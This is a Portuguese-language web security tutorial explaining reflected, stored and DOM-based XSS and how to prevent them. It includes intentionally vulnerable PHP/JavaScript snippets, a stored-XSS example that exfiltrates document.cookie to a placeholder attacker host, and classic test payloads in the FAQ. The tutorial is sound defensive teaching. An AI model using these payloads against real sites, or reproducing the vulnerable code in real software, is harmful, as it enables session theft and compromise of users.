/AppSec

Cross-Site Scripting (XSS): O que é e como evitar?

O Cross-Site Scripting (XSS) é uma das vulnerabilidades de segurança web mais prevalentes e perigosas, ocupando consistentemente posições de destaque no OWASP Top 10. Este tipo de ataque permite que um invasor injete scripts maliciosos (geralmente JavaScript) em páginas web visualizadas por outros usuários, transformando um site legítimo em uma plataforma para distribuição de malware, roubo de dados ou desfiguração de conteúdo.

Entendendo o Cross-Site Scripting (XSS)

Em sua essência, o XSS explora a confiança que um usuário tem em um site específico. Quando uma aplicação web não sanitiza ou valida adequadamente as entradas fornecidas pelos usuários, um invasor pode injetar código malicioso que será executado no navegador da vítima como se fosse parte legítima da aplicação. Este tipo de ataque não se limita a JavaScript, podendo envolver HTML, VBScript, Flash, ActiveX, entre outros.

As consequências de um ataque XSS bem-sucedido podem ser devastadoras:

  • Roubo de Cookies de Sessão: O invasor pode sequestrar a sessão do usuário, obtendo acesso não autorizado a contas e dados privados.
  • Redirecionamento para Phishing: O usuário pode ser redirecionado para sites maliciosos que imitam serviços legítimos para roubar credenciais.
  • Captura de Teclas (Keylogging): Scripts maliciosos podem registrar tudo o que o usuário digita no teclado.
  • Desfiguração de Páginas (Defacement): O invasor pode alterar o conteúdo visual da página para espalhar propaganda ou causar danos à reputação.
  • Distribuição de Malware: O script pode forçar o download de arquivos maliciosos no computador da vítima.

Principais Tipos de Ataque XSS

Compreender as variações do XSS é fundamental para uma defesa eficaz. Eles se dividem em três categorias principais:

XSS Refletido (Non-Persistent)

Nesta modalidade, o payload malicioso faz parte da própria requisição HTTP, geralmente como um parâmetro na URL ou em um campo de formulário. O servidor web reflete imediatamente este payload na resposta HTTP sem devida sanitização. O invasor precisa enganar a vítima para que ela clique em um link especialmente criado.

// Exemplo em PHP vulnerável a XSS Refletido
$nome = $_GET['nome'];
echo "Olá, " . $nome . "!";

// Se o usuário acessar: site.com?nome=<script>alert('XSS')</script>
// O script será executado no navegador da vítima.

O XSS Refletido é comumente encontrado em mecanismos de busca, páginas de erro e parâmetros de URL não validados.

XSS Armazenado (Stored/Persistent)

Considerado o tipo mais perigoso, o XSS Armazenado ocorre quando o payload malicioso é permanentemente armazenado no servidor, como em banco de dados, fórum de discussão, seção de comentários, logs de servidor, ou campos de perfil de usuário. A vítima nem precisa clicar em um link específico; ao simplesmente acessar a página infectada, o ataque é executado automaticamente.

// Exemplo em JavaScript vulnerável a XSS Armazenado
// Comentário enviado por um usuário malicioso:
var comentario = "<script>new Image().src='http://atacante.com/steal?cookie='+document.cookie</script>";

// Quando outro usuário carregar a página com o comentário, o script rouba o cookie de sessão.

XSS Baseado em DOM (DOM-based)

Neste tipo, a vulnerabilidade reside inteiramente no lado do cliente, no código JavaScript da página. O ataque não depende do servidor web refletir ou armazenar o payload. O script malicioso modifica dinamicamente o DOM (Document Object Model) do navegador, alterando o comportamento da página legítima. É difícil de detectar, pois o payload nunca é enviado ao servidor.

// Exemplo vulnerável a XSS Baseado em DOM
var param = window.location.hash.substring(1);
document.getElementById('output').innerHTML = param;

// Se a URL for: site.com#<img src=x onerror=alert(1)>
// O navegador irá executar o script sem contato com o servidor.

Estratégias Essenciais de Prevenção

A prevenção contra XSS exige uma abordagem de defesa em profundidade, combinando práticas de codificação segura, validação rigorosa e políticas de segurança do navegador.

Output Encoding (Codificação de Saída)

Esta é a técnica mais fundamental e eficaz. Consiste em codificar (escapar) todos os dados não confiáveis antes de inseri-los na página HTML. A codificação deve ser context-aware, ou seja, adequada ao local onde o dado será exibido (HTML body, atributo HTML, URL, JavaScript, CSS).

  • HTML Entity Encoding: Converter caracteres como <, >, &, ", ' para suas entidades HTML seguras.
  • URL Encoding: Codificar caracteres especiais em URLs usando encodeURI() ou encodeURIComponent().
  • JavaScript Encoding: Usar \x ou \u para escapar caracteres especiais dentro de strings JavaScript.

Frameworks modernos como React, Angular e Vue.js já realizam output encoding automaticamente na maioria dos casos, mas é crucial evitar métodos que bypassam essa proteção (como dangerouslySetInnerHTML no React ou bypassSecurityTrustHtml no Angular).

Input Validation (Validação de Entrada)

Embora não substitua o output encoding, a validação de entrada é uma camada essencial de defesa. Utilize listas brancas (whitelist) para permitir apenas caracteres e padrões específicos esperados para cada campo. Nunca confie em dados provenientes do cliente.

  • Whitelist: Defina exatamente o que é permitido (ex: campo de telefone aceita apenas dígitos).
  • Blacklist: Extremamente ineficaz para XSS, pois existem inúmeras maneiras de contornar filtros de tags e palavras-chave.

Content Security Policy (CSP)

O CSP é um cabeçalho HTTP que permite criar uma política de confiança, instruindo o navegador sobre quais fontes de conteúdo são consideradas legítimas. Uma política CSP bem configurada pode mitigar drasticamente o impacto de vulnerabilidades XSS, impedindo a execução de scripts inline ou de fontes não autorizadas.

// Exemplo de cabeçalho CSP restritivo
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'

HttpOnly e Secure Cookies

Cookies marcados com a flag HttpOnly não podem ser acessados por scripts JavaScript no navegador (como document.cookie). Isso impede que o roubo de cookies de sessão seja uma consequência direta de um ataque XSS. A flag Secure garante que o cookie só seja enviado em conexões HTTPS.

Ferramentas e Frameworks

A integração de ferramentas de segurança no ciclo de desenvolvimento (DevSecOps) é vital para detectar e corrigir vulnerabilidades XSS precocemente.

  • SAST (Static Application Security Testing): Ferramentas como SonarQube, Checkmarx e Veracode analisam o código-fonte em busca de padrões vulneráveis.
  • DAST (Dynamic Application Security Testing): Ferramentas como OWASP ZAP e Burp Suite testam a aplicação em execução para identificar vulnerabilidades.
  • Bibliotecas de Segurança: Utilizar bibliotecas de output encoding consolidadas como OWASP Java Encoder ou Microsoft AntiXSS.

Checklist de Segurança contra XSS

  • Codificar toda saída dinâmica no contexto correto (HTML, URL, JavaScript, CSS).
  • Validar entrada com whitelist de caracteres e tipos.
  • Implementar e testar rigorosamente o cabeçalho Content-Security-Policy (CSP).
  • Configurar cookies de sessão como HttpOnly e Secure.
  • Utilizar frameworks com auto-escaping e evitar métodos que o desabilitem.
  • Realizar testes de segurança (SAST/DAST) continuamente no pipeline CI/CD.
  • Revisar manualmente código que manipula diretamente o DOM ou strings HTML.

Perguntas Frequentes (FAQ)

O que significa a sigla XSS?

XSS significa Cross-Site Scripting. A sigla foi escolhida para evitar confusão com CSS (Cascading Style Sheets).

XSS e SQL Injection são a mesma coisa?

Não. SQL Injection ataca o banco de dados da aplicação através de comandos SQL maliciosos. XSS ataca o navegador de outros usuários através de scripts maliciosos. Embora ambas sejam vulnerabilidades de injeção, os alvos e o impacto são diferentes.

CSP elimina completamente o risco de XSS?

Não. CSP é uma camada de defesa extremamente poderosa, mas não é uma bala de prata. Configurações incorretas, bypasses conhecidos (como JSONP injection ou script gadgets) e vulnerabilidades no próprio servidor ainda podem permitir a execução de scripts maliciosos. CSP deve ser usado como parte de uma estratégia de defesa em profundidade.

Como testar manualmente se meu site tem XSS?

Você pode utilizar payloads clássicos como <script>alert(1)</script>, <img src=x onerror=alert(1)> ou <svg onload=alert(1)> em campos de entrada (formulários, URL) e verificar se o código é executado. Ferramentas como OWASP ZAP automatizam este processo com milhares de variações de payload.

Qual a diferença prática entre XSS Refletido e Armazenado?

O XSS Refletido exige um vetor de entrega (como um link malicioso enviado por e-mail) e não persiste no servidor. O XSS Armazenado persiste no servidor (ex: banco de dados) e afeta todos os visitantes da página sem necessidade de cliques adicionais, tornando-o muito mais perigoso e difícil de mitigar do ponto de vista do usuário final.